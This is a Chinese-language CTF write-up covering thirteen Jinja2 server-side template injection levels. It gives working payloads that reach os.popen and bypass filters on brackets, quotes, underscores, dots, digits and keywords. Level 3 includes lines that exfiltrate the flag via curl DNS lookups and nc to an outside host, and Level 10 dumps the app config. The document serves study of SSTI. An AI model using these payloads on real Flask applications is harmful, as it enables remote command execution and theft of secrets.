Level 1
payload的构造已经学会了,主要在获取利用类,所以获取利用类步骤如下
先知晓一些可以getshell
的类,然后再去跑这些类的索引
os._wrap_close
类中的popen
这里采用了细说Jinja2之SSTI&bypass 的脚本(适用于本地)
1 | #!/usr/bin/env python3 |
__import__
中的os
__builtins__
代码执行
看了一下当前目录列表,有如下文件
所以,payload可以是:
1 | {{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}} |
1 | {{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('cat flag').read()}} |
1 | {{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} |
Level 2
一直传不上去。
Level 3
- dns外带数据
1 | {% for i in ''.__class__.__bases__[0].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.c4003726.dns.1433.eu.org.').read()}}{% endif %}{% endfor %} |
- 看到题解中有这个解法,就试了一下:通过
nc
命令把目录传到自己的服务器上
1 | {% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.136.128 1234').read()}}{% endif %}{% endfor %} |
Level 4
过滤了[和]
用__getitem__
或pop
代替中括号
1 | {{''.__class__.__base__.__subclasses__().pop(132).__init__.__globals__.pop('popen')('cat flag').read()}} |
Level 5
过滤了引号
- request请求
1 | {{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}} |
- chr()绕过
找出chr()
函数的位置(burp爆破)
1 | {{().__class__.__mro__[-1].__subclasses__()[0].__init__.__globals__.__builtins__.chr}} |
用文章中给的脚本构造需要的ascii字符
1 | chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103) |
这是网上某篇题解中的payload
1 | {%set chr=[].__class__.__mro__[-1].__subclasses__()[58].__init__.__globals__.__builtins__.chr%} |
原理理解:ctf show-web入门
Level 6
过滤了_
,_
编码后为\x5f
采用十六编码绕过
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[132]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('cat flag').read()}} |
Level 7
过滤了.
- 使用[]绕过
1 | {{()['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('cat flag')['read']()}} |
- 使用attr()绕过
1 | {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat flag')|attr('read')()}} |
(这里卡了挺久,一直没有把popen两端的中括号用getitem代替)
Level 8
过滤了一系列的关键字
尝试一下拼接字符绕过
1 | {{()['__cla'+'ss__']['__ba'+'se__']['__subcla'+'sses__']()['__getitem__'](132)['__in'+'it__']['__glo'+ 'bals__']['__getitem__']('po'+'pen')('cat flag').read()}} |
Level 9
过滤了数字,那就不出现数字
1 | {% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %} |
Level 10
使用flask的内置函数比如说url_for,get_flashed_messages,甚至是内置的对象request来查询配置信息
- url_for
1 | {{url_for.__globals__['current_app'].config}} |
- get_flashed_messages
1 | {{get_flashed_messages.__globals__['current_app'].config}} |
Level 11
后面三题都参考了题解(参考题解附在最后)
绕过了'
"
+
request
.
[
]
选择用lipsum来构造
1 | {{lipsum.__globals__['os'].popen('cat flag').read()}} |
用attr绕过.
1 | {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}} |
输入
1 | {{lipsum|string|list}} |
得到
1 | Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '1', 'f', '1', '3', '1', '5', 'e', 'c', 'a', '0', '>'] |
可以通过pop
获得需要的字符,例如后面需要用到的下划线_
和空格
1 | {{(lipsum|string|list).pop(18)}} |
1 | {{(lipsum|string|list).pop(9)}} |
通过set
设置变量的方法搭配join
过滤器
构造:通过set
可以给字符串赋值,通过dict
和join
可以绕过引号获取字符串
构造过程:
1 | {% set pop=dict(pop=1)|join%} #attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串 |
所以payload:
1 | {% set pop=dict(pop=1)|join%} |
Level 12
比level 11多过滤了数字和下划线
所以需要进一步绕过数字和下划线,可以采用length来获得字符串的长度从而得到数字
构造:
1 | {% set nine=dict(abcdefghi=a)|join|length %} |
所以payload:
1 | {% set nine=dict(abcdefghi=a)|join|length %} |
Level 13
多过滤了几个关键字,而且又把+
也过滤了,但是不影响,因为构造的payload并没有涉及到这些关键字,只要不出现+
就可以
所以将level 12的payload的前两行稍加修改,就完成l
1 | {% set nine=dict(abcdefghi=a)|join|length %} |